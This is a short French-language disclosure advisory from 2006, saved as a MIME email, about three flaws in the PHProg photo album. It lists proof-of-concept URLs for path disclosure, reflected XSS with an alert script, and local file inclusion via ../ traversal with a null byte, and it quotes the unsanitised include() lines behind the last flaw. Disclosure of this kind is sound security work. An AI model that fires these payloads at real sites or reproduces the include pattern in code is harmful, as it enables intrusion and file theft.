PHProg.txt

`------=_Part_3877_18013116.1157965429026  
Content-Type: text/plain; charset=ISO-8859-1; format=flowed  
Content-Transfer-Encoding: quoted-printable  
Content-Disposition: inline  
  
(11/09/06)  
  
* Produit vuln=E9rable : PHProg ( Album photo en PHP )  
  
* Site officiel du produit : http://www.PHProg.com/  
  
* Failles de s=E9curit=E9 d=E9cel=E9es :  
  
1] Full path disclosure : http://localhost/PHProg/?id=3D1&album=3Dcdg393  
  
2] Cross Site Scripting ( XSS ) : http://localhost/PHProg/?id=3D1&album=3D  
<script>alert('cdg393')</script>  
  
3] Local File Inclusion :  
http://localhost/PHProg/index.php?lang=3D../../../../../../BOOT.INI%00  
  
Ligne 59 =3D> $lang=3D$_GET['lang'];  
Ligne 61 =3D> include("lang/$lang.php");  
  
* Credits : cdg393 : cdg.new.fr =3D)  
  
------=_Part_3877_18013116.1157965429026  
Content-Type: text/html; charset=ISO-8859-1  
Content-Transfer-Encoding: quoted-printable  
Content-Disposition: inline  
  
(11/09/06)<br><br>* Produit vuln=E9rable : PHProg ( Album photo en PHP )<br=  
><br>* Site officiel du produit : <a href=3D"http://www.PHProg.com/">http:/=  
/www.PHProg.com/</a><br><br>* Failles de s=E9curit=E9 d=E9cel=E9es :<br><br=  
>1] Full path disclosure :=20  
<a href=3D"http://localhost/PHProg/?id=3D1&album=3Dcdg393">http://local=  
host/PHProg/?id=3D1&album=3Dcdg393</a><br><br>2] Cross Site Scripting (=  
XSS ) : <a href=3D"http://localhost/PHProg/?id=3D1&album=3D">http://lo=  
calhost/PHProg/?id=3D1&album=3D  
</a><script>alert('cdg393')</script><br><br>3] Local File Inclu=  
sion&nbsp; : <a href=3D"http://localhost/PHProg/index.php?lang=3D../../../.=  
./../../BOOT.INI%00">http://localhost/PHProg/index.php?lang=3D../../../../.=  
./../BOOT.INI%00  
</a><br><br>&nbsp;&nbsp;&nbsp;&nbsp; Ligne 59&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=  
&nbsp;&nbsp; =3D>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=  
nbsp;&nbsp;&nbsp;&nbsp; $lang=3D$_GET['lang'];<br>&nbsp;&nbsp;&nbsp;&nbsp; =  
Ligne 61&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =3D>&nbsp;&nbsp;&nbsp=  
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include(&quot=  
;lang/$lang.php");<br>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbs=  
p; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &n=  
bsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &=  
nbsp;&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<br>* Credits : cdg393 :=20  
<a href=3D"http://cdg.new.fr">cdg.new.fr</a> =3D) <br><br>  
  
------=_Part_3877_18013116.1157965429026--  
  
`